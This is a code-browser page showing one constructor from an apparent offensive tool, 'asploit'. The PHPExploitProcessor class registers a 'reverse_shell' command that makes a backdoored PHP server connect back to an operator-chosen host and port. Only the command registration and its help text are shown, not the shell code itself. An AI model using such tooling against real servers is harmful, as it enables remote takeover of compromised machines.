MCPcopy Create free account
hub / github.com/Geeoon/asploit / __init__

Method __init__

src/PHPExploitProcessor.py:26–36  ·  view source on GitHub ↗
(self, host: str, path: str, method: str, header: str)

Source from the content-addressed store, hash-verified

24"""
25class PHPExploitProcessor(ExploitProcessor):
26 def __init__(self, host: str, path: str, method: str, header: str):
27 super().__init__(host, path, method, header)
28 self.commands["reverse_shell"] = {
29 "method": self._Base__reverse_shell,
30 "description": "Start a reverse shell from the target machine.",
31 "usage": ("reverse_shell host [port]\n"
32 " host: hostname of your machine, to which the "
33 "backdoored server will connect to.\n"
34 " port: the port to communicate over, "
35 "defaults to 5000")
36 }
37
38
39 """

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected